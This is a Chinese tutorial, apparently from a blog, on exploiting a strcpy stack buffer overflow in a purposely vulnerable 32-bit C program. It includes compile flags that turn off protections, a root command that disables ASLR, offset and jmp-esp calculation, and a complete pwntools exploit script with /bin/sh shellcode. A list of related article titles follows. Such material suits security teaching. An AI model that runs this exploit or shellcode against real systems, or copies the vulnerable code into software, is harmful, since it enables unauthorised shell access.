引言

在刚刚开始学校C语言的时候,很多人都用过strcpy这个函数。简单说是一个内存复制的函数。这个函数确实非常方便,但是这个函数是非常不安全,由与这个函数而产生的缓冲区溢出漏洞在很多文章中都有所介绍。我们应该摒弃strcpy的使用,而是用strncpy进行代替。原型声明:char*strcpy(char*dest,constchar*src);

头文件:#include和#include

功能:把从src地址开始且含有NULL结束符的字符串复制到以dest开始的地址空间

说明:src和dest所指内存区域不可以重叠且dest必须有足够的空间来容纳src的字符串。

既然这个函数能造成缓冲区溢出漏洞,那么这个漏洞究竟是什么样子的那,怎么利用这个漏洞那。很多文章对这个却搞的讳莫如深,让人一头雾水。要弄懂这个,我们先了解下Linux下32为程序函数调用约定。

函数调用约定(32位)

以下是一个简单的C程序stackOf.c,后续的内容也是围绕这这个程序展开的。#include

#include

#include

voidvul(char*msg){

charbuffer[64];

strcpy(buffer,msg);

return;

}

intmain(){

puts("please give me your shellcode:");

charshellcode[256];

memset(shellcode,0,256);

read(0,shellcode,256);

vul(shellcode);

return0;

}

这个程序的功能很简单,就是将输入的内容复制到buffer中。不过这里有一个问题,buffer只有64个字节,而输入却可以是256个字节,这会引发什么问题那?下面部分再说。这里我们来看在执行 vul(shellcode);的时候,对应的汇编代码是什么样子的那,以及进入vul函数和退出vul函数的时候,堆栈的变化情况。函数调用主要有两个点需要关注:(1)参数的出入方式(2)堆栈的平衡

这个例子中只有一个参数,可以看出先进行push eax操作,在执行call sym.vul。也就是先将参数入栈,再进行调用操作。CALL指令(“调用”指令)的功能,就是以下两点:将下一条指令的所在地址(即当时程序计数器PC的内容)入栈,

并将子程序的起始地址送入PC(于是CPU的下一条指令就会转去执行子程序)

流程如下图所示:

在看下vul的汇编代码:

首先将老的ebp入栈,为何需要这一步,为了方便栈回溯。至于栈回溯的问题,后续会单独来说。重点来说一下leave和ret指令:CPU执行ret指令时,进行下面的两步操作:(IP) = ((ss)*16 +(sp))(返回地址)(esp) = (esp)+2(32为是+4)

leave指令的作用: 在32位汇编下相当于:mov esp,ebp;//将ebp指向(ebp内部应当保存一个地址,所谓指向即这个地址对应的空间)的值赋给esppop ebp

程序编译运行

编译stackOf.cgcc-m32-no-pie-fno-stack-protector-z execstack-o pwnme stackOf.c

运行结果如下:

最好加一条命令关闭系统的的地址随机化sudo bash-c"echo 0 > /proc/sys/kernel/randomize_va_space"

如果是root用户,可以使用:echo0>/proc/sys/kernel/randomize_va_space

查资料结论是sudo命令不支持重定向。

攻击的思路

这里来说说一下buffer只有64个字节,而输入却可以是256个字节,这会引发的问题。当用户输入过长时,会向高地址覆盖。

如果将返回地址覆盖为:

就是将返回地址覆盖为jum esp的地址,这样当函数返回的时候,eip指向的就是jmp esp的地址

我们精心设计的buffer= 填充字符 + jmp_esp地址 +shellcode

填充数据

那么数据是怎么计算出来的那。用r2进行调试(gdb也可以),在strcpy出下断点,运行:

通过分析vul的汇编代码,可知在strcpy调用前将ebx(0xffa97850)入栈,而这就是buffer的起始地址,ebp的地址是0xffa97898,两者相见是0x48 = 64+8 = 72, 别忘了还有ebp在进入函数的时候也入栈了,所以还需要加上4个字节,也就是76个字节。

jum esp地址

通过ldd命令可查看libc.so的加载地址

UTF-8这个需要加上,能够避免中文乱码。#-*- coding: UTF-8 -*-

frompwnimport*

p=process('./pwnme')#运行程序

p.recvuntil("shellcode:")#当接受到字符串'shellcode:'

#找jmp_esp_addr_offset

libc=ELF('/lib32/libc.so.6')

jmp_esp=asm('jmp esp')

jmp_esp_addr_offset=libc.search(jmp_esp).next()

ifjmp_esp_addr_offsetisNone:

print'Cannot find jmp_esp in libc'

else:

printhex(jmp_esp_addr_offset)

libc_base=0xf7de0000#你找到的libc加载地址

jmp_esp_addr=libc_base+jmp_esp_addr_offset#得到jmp_esp_addr

printhex(jmp_esp_addr)

jmp esp在程序里的地址 : jmp_esp_addr=jmp_esp_addr_offset+libc_base,结合图解一下

编写shellcode

具体怎么编写可参考:https://blog.csdn.net/helloworlddm/article/details/106594677shellcode如下所示:'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

完整攻击代码#-*- coding: UTF-8 -*-

from pwnimport*

p=process('./pwnme')#运行程序

p.recvuntil("shellcode:")#当接受到字符串'shellcode:'

#找jmp_esp_addr_offset

libc=ELF('/lib32/libc.so.6')

jmp_esp=asm('jmp esp')

jmp_esp_addr_offset=libc.search(jmp_esp).next()

ifjmp_esp_addr_offset isNone:

print'Cannot find jmp_esp in libc'

else:

print hex(jmp_esp_addr_offset)

libc_base=0xf7de0000#你找到的libc加载地址

jmp_esp_addr=libc_base+jmp_esp_addr_offset#得到jmp_esp_addr

print hex(jmp_esp_addr)

#构造布局

buf='A'*76

buf+=p32(jmp_esp_addr)

buf+='\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

with open('poc','wb')as f:

f.write(buf)

p.sendline(buf)#发送构造后的buf

p.interactive()

攻击效果

从图中可以看出我们居然获得了shell,那删除文件、浏览文件、复制文件等等很多操作都可以随心所欲。

公众号

更多漏洞信息可关注公众号:

vs2019c语言strcpy不安全,strcpy为何不安全相关推荐

  1. C语言字符串操作函数 - strcpy、strcmp、strcat、反转、回文

    C语言字符串操作函数 1. 字符串反转 - strRev 2. 字符串复制 - strcpy 3. 字符串转化为整数 - atoi 4. 字符串求长 - strlen 5. 字符串连接 - strca ...

  2. C语言字符串函数strcat | strcpy | strlen | strcmp的用法及原型

    点击蓝字 关注我们 因公众号更改推送规则,请点"在看"并加"星标"第一时间获取精彩技术分享 来源于网络,侵删 strcat(str1,str2) 意为将字符串s ...

  3. C语言-字符串处理函数strcpy

    strcpy 原型:strcpy(char destination[], const char source[]); 功能:将字符串source拷贝到字符串destination中.此处将source ...

  4. c语言字符串函数strcat strcpy strlen strcmp的用法及原型

    目录 strcat的用法及原型 strcpy的用法及原型 strcmp用法及原型 strlen用法及原型 strcat的用法及原型 strcat(str1,str2) 意为将字符串str2连接到字符串 ...

  5. C语言 | 复制字符串 不用strcpy

    例69:C语言编写一个程序,将字符数组str2中的全部字符复制到字符数组str1中,要求不使用strcpy函数. 解析:复制时「\0」也要复制过去,「\0」后面的字符不复制 . 源代码演示: #inc ...

  6. C语言--模拟实现库函数strcpy

    目录 前言 strcpy实现的基本原理 函数的模拟实现 代码优化 assert--断言 const关键字 strcpy的返回值 结语 前言 本章内容我们将通过相关函数来实现库函数中的strcpy. s ...

  7. (C语言)字符串函数strcpy和strlen的实现,以及简单的文字编程题(派大星看了都会写)

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 一.字符串库函数strcpy的实现 二.字符串库函数strlen的实现 三,简单的文字编程题 提示:以下是本篇文章正文内容, ...

  8. vs2015c语言函数,c++中strcpy函数在VS2015无法使用的问题

    本篇文章介绍了c++中strcpy函数在VS2015无法使用的问题. 一:原因:一般认为是vs准备弃用strcpy的,安全性较低,所以微软提供了strcpy_s来代替 然而,strcpy_s并没有st ...

  9. C语言字符串复制函数strcpy()的编写与详解

    strcpy,即string copy(字符串复制)的缩写. 原型声明:char *strcpy(char *dest, const char *src); 头文件:#include <stri ...

最新文章

  1. 不用1750亿!OpenAI CEO放话:GPT-4参数量不增反减
  2. 专访iOS开发框架BeeFramework作者郭虹宇
  3. Win10开发UWP使用.Net Native编译时遇到的一些问题。
  4. 【每日一题】4月6日数码
  5. pyqt5 点击开始执行_《快速掌握PyQt5》第一章 PyQt5的起点
  6. 十个最适合 Web 和 APP 开发的 NodeJS 框架 1
  7. 打印pdf就一页_我就是死都不想在mac上装第三方pdf软件
  8. OpenCV-python学习笔记(一)——image basics输入输出,像素处理和绘制图形
  9. Educational Codeforces Round 58
  10. J2EE运动会管理系统(含源码)
  11. 年会抽奖程序,及时安排一波【开源项目】
  12. Linux默认端口介绍
  13. 常用心理学实验刺激呈现软件介绍
  14. python实现小说分割器
  15. 20162327WJH程序设计与数据结构第七周总结
  16. 第四十一章 SQL命令 DROP VIEW
  17. Dijkstra迪杰斯特算法(C++版本和JAVA版本)
  18. Python实战|js逆向微信公众平台
  19. 2014找工作总结-机会往往留给有准备的人
  20. React.SetStateAction<never[]>

热门文章

  1. buck电路matlab,BUCK电路闭环控制系统的MATLAB仿真.doc
  2. 【HTML】用户名、身份证号、邮箱、出生日期的格式验证
  3. mysql 不能插入中文的解决办法,修改mysql的字符集,操作见蓝色字体部分
  4. 开发者中文文档集合网址 《印记中文》
  5. Android开发最新所有框架总结
  6. 手把手教你学-卡尔曼滤波(附代码)
  7. 揭秘禁用U盘的四大绝招
  8. 7744问题-紫书2-3
  9. zynq eth1下有两个phy芯片,linux设备树怎么写
  10. 基于avr的lcd1602驱动